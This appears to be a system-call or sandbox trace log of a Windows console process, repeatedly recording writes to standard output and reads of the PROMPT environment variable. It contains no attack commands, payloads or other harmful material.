File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
